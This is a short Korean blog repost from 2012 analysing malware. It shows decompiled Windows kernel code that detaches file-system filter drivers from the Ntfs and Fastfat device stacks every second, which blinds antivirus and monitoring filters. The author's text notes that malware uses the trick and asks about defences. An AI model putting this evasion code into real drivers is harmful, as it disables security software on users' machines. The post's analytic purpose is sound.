Hacking & Security/Kernel2012. 4. 26. 13:43
출처: http://blog.naver.com/forc1/50114537970

char __stdcall disable_filter_driver_(PCWSTR Object)
{
char result; // al@2
PDEVICE_OBJECT p_device; // eax@3
UNICODE_STRING us_obj_name; // [sp+4h] [bp-8h]@1

RtlInitUnicodeString(&us_obj_name, Object);
if ( ObReferenceObjectByName(&us_obj_name, OBJ_CASE_INSENSITIVE, 0, 0, IoDriverObjectType, 0, 0, &Object) >= 0 )
{
for ( p_device = (PDRIVER_OBJECT)Object->DeviceObject; p_device; p_device = p_device->NextDevice )
p_device->AttachedDevice = 0; // 필터 없앰
ObfDereferenceObject((PVOID)Object);
result = 1;
}
else
result = 0;
return result;
}

NTSTATUS disable_filter_driver()
{
while ( !bEnd )
{
disable_filter_driver_(L"\\FileSystem\\Ntfs");
disable_filter_driver_(L"\\FileSystem\\Fastfat");
sleep_(1000);
}
return PsTerminateSystemThread(0);
}

설마 이런거 쓰겠어 했는데... 설마가 사람잡네요... 얼마전 발견된 악성코드에서 이와 같은 구현을 사용하며 더군다나
파일시스템 필터 뿐만이 아닌... Raw Disk I/O 에 대한 필터에 대해서도 위와 같은 형식을 이용하여 우회하는 기법을 이용하고 있는 것을 확인하였습니다.

여기에 대해서 대책이 있을까요?... 디바이스 객체에 대한 메모리 보호 역시 쉽지 않은 주제입니다만... 그에 앞서 Microsoft 에서 대책이 있을 지...아니면 대비가 이미 되어 있는 지 궁금하네요... MiniFilter 에 대해서도 ... 만일 Filter Manager 가 우회가 된다면 큰일이겠지요...
Posted by skensita

댓글을 달아 주세요